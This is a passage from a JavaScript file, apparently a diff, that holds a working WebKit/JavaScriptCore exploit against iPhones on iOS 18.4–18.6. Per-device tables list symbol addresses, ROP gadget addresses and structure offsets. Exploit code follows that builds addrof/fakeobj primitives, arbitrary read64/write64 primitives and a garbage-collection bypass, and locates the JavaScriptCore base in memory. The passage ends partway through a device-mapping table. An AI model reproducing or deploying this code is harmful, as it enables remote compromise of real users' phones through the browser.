0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadf280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadf1e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadf230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9becb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be978n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fb7e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ef18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda63178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6bcb8n, + WebCore__initPKContact_value: 0x1eda6bcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda600c0n, + __pthread_head: 0x269d78020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5a90n, + gadget_control_1_ios184: 0x23f1142ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ceb97e8n, + libGPUCompilerImplLazy_cstring: 0x23c003870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caf58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ca1c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + } +}; + + +function sleep(time) { + return new Promise((resolve) => setTimeout(resolve, time)); +} +var globalFuncParseFloat = 0n; +var maximum_id = 0n; +const wait_for_jit_compilation_ms = 1100; + +class check_attempt { + constructor() { + this.overlap_array; + this.overlap_idx_in_oob_array; + this.oob_array; + this.read32; + this.read64; + this.write64; + } + + stage1() { + this.overlap_array[0] = {}; + let overlap_array = this.overlap_array; + let overlap_idx_in_oob_array = this.overlap_idx_in_oob_array; + let oob_array = this.oob_array; + + function addrof(object) { + overlap_array[0] = object; + return BigInt.fromDouble(oob_array[overlap_idx_in_oob_array]); + } + function fakeobj(addr) { + oob_array[overlap_idx_in_oob_array] = addr.asDouble(); + return overlap_array[0]; + } + + let junk0 = new Array(4).fill(1.1); + junk0[0] = 1.1; + junk0[1] = 1.1; + let scribble_element = new Array(4).fill(1.1); + scribble_element[0] = 1.1; + scribble_element[1] = 1.1; + let results = new Array(2).fill(1.1); + results[0] = 1.1; + results[1] = 1.1; + let change_scribble_holder = { p1: fakeobj(0x0108240700006000n), p2: scribble_element }; + let change_scribble = fakeobj(addrof(change_scribble_holder) + 0x10n); + for (let i = 0; i < 2; i++) { + let a = i == 0 ? change_scribble : junk0; + results[i] = a[0]; + } + change_scribble_holder.p1 = results[0]; //now we have a valid structureID + + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + + function write64(addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = read64(off_addr); + let [hi, lo] = value.asInt32s(); + + scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + + write64(off_addr, off_val); + } + } + + let read64_biguint64arr = new BigUint64Array(4); + change_scribble[1] = addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + let read64_str = '\u4444'.repeat(0x10); + [][read64_str]; + change_scribble[1] = addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + + function read64(addr) { + read64_biguint64arr[1] = addr; + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n + | BigInt(read64_str.charCodeAt(2)) << 32n + | BigInt(read64_str.charCodeAt(3)) << 48n); + } + + function read32(addr) { + read64_biguint64arr[1] = addr; + + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n); + } + this.read32 = read32; + this.read64 = read64; + this.write64 = write64; + // Disable Worklet GC + const vm = read64(read64(addrof(globalThis).add(0x10n)).add(0x38n)); + + const heap = vm.add(0xc0n); + const isSafeToCollect = heap.add(0x241n); + write64(isSafeToCollect, 0n); + + const executable = read64(addrof(parseFloat) + 0x18n); + globalFuncParseFloat = read64(executable + 0x28n).noPAC(); + const jsc_base = (function() { + let jsc_base = globalFuncParseFloat & ~0xfffn; + + while (1) { + read64_biguint64arr[1] = jsc_base; + if (read64_str.charCodeAt(0) == 0xfacf && read64_str.charCodeAt(1) == 0xfeed) { + return jsc_base; + } + jsc_base -= 0x1000n; + } + })(); + print("jsc_base: " + jsc_base.hex()); + function parse_adrp(addr) { + const x = Number(read32(addr)); + const immhi = x >> 5 & (1 << 23 - 5 + 1) - 1; + const immlo = x >> 29 & 3; + const imm = immhi << 14 | immlo << 12; + return imm + Math.floor(Number(addr) / 0x1000) * 0x1000; + } + function parse_add(addr) { + const insn = Number(read32(addr)); + const off = insn >> 10 & (1 << 12) - 1; + return off; + } + function parse_adrp_add(addr, is_ldrb = false) { + let res = parse_adrp(addr); + let add = parse_add(addr + 4n); + return res + add; + } + const versions = ['b8', '731', 'b9']; +const pthread_create_auth_stubs_offset = { +'18,4': 0x177d640n, +'18,4,1': 0x177d640n, +'18,5': 0x18ccf30n, +'18,6': 0x17a4830n, +'18,6,1': 0x17a4830n, +'18,6,2': 0x17a4830n +}; +const pthread_create_offset = { +'18,4': 0x5864n, +'18,4,1': 0x5864n, +'18,5': 0x6988n, +'18,6': 0x6988n, +'18,6,1': 0x6988n, +'18,6,2': 0x6988n +}; +const linkedit_to_device = { +'18,4': { + [0x27075c000n]: "iPhone11,2_4_6_22E240", + [0x27074c000n]: "iPhone11,8_22E240", + [0x27085c000n]: "iPhone12,1_22E240", + [0x27085c000n]: "iPhone12,3_5_22E240", + [0x270794000n]: "iPhone12,8_22E240", + [0x270ad0000n]: "iPhone13,1_22E240", + [0x2714f8000n]: "iPhone13,2_3_22E240", + [0x2714f8000n]: "iPhone13,4_22E240", + [0x2718dc000n]: "iPhone14,2_22E240", + [0x2718dc000n]: "iPhone14,3_22E240", + [0x270ea4000n]: "iPhone14,4_22E240", + [0x270ea4000n]: "iPhone14,5_22E240", + [0x270e50000n]: "iPhone14,6_22E240", + [0x2712b4000n]: "iPhone14,7_22E240", + [0x2712b4000n]: "iPhone14,8_22E240", + [0x272058000n]: "iPhone15,2_22E240", + [0x272058000n]: "iPhone15,3_22E240", + [0x271680000n]: "iPhone15,4_22E240", + [0x271680000n]: "iPhone15,5_22E240", + [0x272594000n]: "iPhone16,1_22E240", + [0x272594000n]: "iPhone16,2_22E240", + [0x271e5c000n]: "iPhone17,1_22E240", + [0x271e5c000n]: "iPhone17,2_22E240", + [0x2717f0000n]: "iPhone17,3_22E240", + [0x2717f0000n]: "iPhone17,4_22E240", + [0x271530000n]: "iPhone17,5_22E240" +}, +'18,4,1': { + [0x27075c000n]: "iPhone11,2_4_6_22E252", + [0x27074c000n]: "iPhone11,8_22E252", + [0x27085c000n]: "iPhone12,1_22E252", + [0x27085c000n]: "iPhone12,3_5_22E252", + [0x270790000n]: "iPhone12,8_22E252", + [0x270ad0000n]: "iPhone13,1_22E252", + [0x2714f8000n]: "iPhone13,2_3_22E252", + [0x2714f8000n]: "iPhone13,4_22E252", + [0x2718dc000n]: "iPhone14,2_22E252", + [0x2718dc000n]: "iPhone14,3_22E252", + [0x270ea4000n]: "iPhone14,4_22E252", + [0x270ea4000n]: "iPhone14,5_22E252", + [0x270e50000n]: "iPhone14,6_22E252", + [0x2712b4000n]: "iPhone14,7_22E252", + [0x2712b4000n]: "iPhone14,8_22E252", + [0x272058000n]: "iPhone15,2_22E252", + [0x272058000n]: "iPhone15,3_22E252", + [0x271680000n]: "iPhone15,4_22E252", + [0x271680000n]: "iPhone15,5_22E252", + [0x272594000n]: "iPhone16,1_22E252", + [0x272594000n]: "iPhone16,2_22E252", + [0x271e5c000n]: "iPhone17,1_22E252", + [0x271e5c000n]: "iPhone17,2_22E252", + [0x2717f0000n]: "iPhone17,3_22E252", + [0x2717f0000n]: "iPhone17,4_22E252", + [0x271530000n]: "iPhone17,5_22E252" +}, +'18,5': { + [0x27170c000n]: "iPhone11,2_4_6_22F76", + [0x271704000n]: "iPhone11,8_22F76", + [0x271810000n]: "iPhone12,1_22F76", + [0x271810000n]: "iPhone12,3_5_22F76", + [0x27173c000n]: "iPhone12,8_22F76", + [0x271a88000n]: "iPhone13,1_22F76", + [0x2724b4000n]: "iPhone13,2_3_22F76", + [0x2724b4000n]: "iPhone13,4_22F76", + [0x27288c000n]: "iPhone14,2_22F76", + [0x27288c000n]: "iPhone14,3_22F76", + [0x271e5c000n]: "iPhone14,4_22F76", + [0x271e5c000n]: "iPhone14,5_22F76", + [0x271df8000n]: "iPhone14,6_22F76", + [0x272264000n]: "iPhone14,7_22F76", + [0x272264000n]: "iPhone14,8_22F76", + [0x273014000n]: "iPhone15,2_22F76", + [0x273014000n]: "iPhone15,3_22F76", + [0x272634000n]: "iPhone15,4_22F76", + [0x272634000n]: "iPhone15,5_22F76", + [0x27353c000n]: "iPhone16,1_22F76", + [0x27353c000n]: "iPhone16,2_22F76", + [0x272e04000n]: "iPhone17,1_22F76", + [0x272e04000n]: "iPhone17,2_22F76", + [0x2727a0000n]: "iPhone17,3_22F76", + [0x2727a0000n]: "iPhone17,4_22F76", + [0x2724d8000n]: "iPhone17,5_22F76" +}, +'18,6': { + [0x270ffc000n]: "iPhone11,2_4_6_22G86", + [0x270ff0000n]: "iPhone11,8_22G86", + [0x2710fc000n]: "iPhone12,1_22G86", + [0x2710fc000n]: "iPhone12,3_5_22G86", + [0x27103c000n]: "iPhone12,8_22G86", + [0x271378000n]: "iPhone13,1_22G86", + [0x271da8000n]: "iPhone13,2_3_22G86", + [0x271da8000n]: "iPhone13,4_22G86", + [0x272178000n]: "iPhone14,2_22G86", + [0x272178000n]: "iPhone14,3_22G86", + [0x27174c000n]: "iPhone14,4_22G86", + [0x27174c000n]: "iPhone14,5_22G86", + [0x2716f4000n]: "iPhone14,6_22G86", + [0x271b54000n]: "iPhone14,7_22G86", + [0x271b54000n]: "iPhone14,8_22G86", + [0x272904000n]: "iPhone15,2_22G86", + [0x272904000n]: "iPhone15,3_22G86", + [0x271f24000n]: "iPhone15,4_22G86", + [0x271f24000n]: "iPhone15,5_22G86", + [0x272e34000n]: "iPhone16,1_22G86", + [0x272e34000n]: "iPhone16,2_22G86", + [0x2726f4000n]: "iPhone17,1_22G86", + [0x2726f4000n]: "iPhone17,2_22G86", + [0x272084000n]: "iPhone17,3_22G86", + [0x272084000n]: "iPhone17,4_22G86", + [0x271dcc000n]: "iPhone17,5_22G86" +}, +'18,6,1': { + [0x27101c000n]: "iPhone11,2_4_6_22G90", + [0x271004000n]: "iPhone11,8_22G90", + [0x271118000n]: "iPhone12,1_22G90", + [0x271118000n]: "iPhone12,3_5_22G90", + [0x271050000n]: "iPhone12,8_22G90", + [0x27138c000n]: "iPhone13,1_22G90", + [0x271dbc000n]: "iPhone13,2_3_22G90", + [0x271dbc000n]: "iPhone13,4_22G90", + [0x27218c000n]: "iPhone14,2_22G90", + [0x27218c000n]: "iPhone14,3_22G90", + [0x271760000n]: "iPhone14,4_22G90", + [0x271760000n]: "iPhone14,5_22G90", + [0x271708000n]: "iPhone14,6_22G90", + [0x271b6c000n]: "iPhone14,7_22G90", + [0x271b6c000n]: "iPhone14,8_22G90", + [0x272914000n]: "iPhone15,2_22G90", + [0x272914000n]: "iPhone15,3_22G90", + [0x271f38000n]: "iPhone15,4_22G90", + [0x271f38000n]: "iPhone15,5_22G90", + [0x272e4c000n]: "iPhone16,1_22G90", + [0x272e4c000n]: "iPhone16,2_22G90", + [0x27270c000n]: "iPhone17,1_22G90", + [0x27270c000n]: "iPhone17,2_22G90", + [0x2720a4000n]: "iPhone17,3_22G90", + [0x2720a4000n]: "iPhone17,4_22G90", + [0x271de4000n]: "iPhone17,5_22G90" +}, +'18,6,2': { + [0x27101c000n]: "iPhone11,2_4_6_22G100", + [0x271004000n]: "iPhone11,8_22G100", + [0x271118000n]: "iPhone12,1_22G100", + [0x271118000n]: "iPhone12,3_5_22G100", + [0x271050000n]: "iPhone12,8_22G100", + [0x27138c000n]: "iPhone13,1_22G100", + [0x271dbc000n]: "iPhone13,2_3_22G100", + [0x271dbc000n]: "iPhone13,4_22G100", + [0x27218c000n]: "iPhone14,2_22G100", + [0x27218c000n]: "iPhone14,3_22G100", + [0x271760000n]: "iPhone14,4_22G100", + [0x271760000n]: "iPhone14,5_22G100", + [0x271708000n]: "iPhone14,6_22G100", + [0x271b6c000n]: "iPhone14,7_22G100", + [0x271b6c000n]: "iPhone14,8_22G100", + [0x272914000n]: "iPhone15,2_22G100", + [0x272914000n]: "iPhone15,3_22G100", + [0x271f38000n]: "iPhone15,4_22G100", + [0x271f38000n]: "iPhone15,5_22G100", + 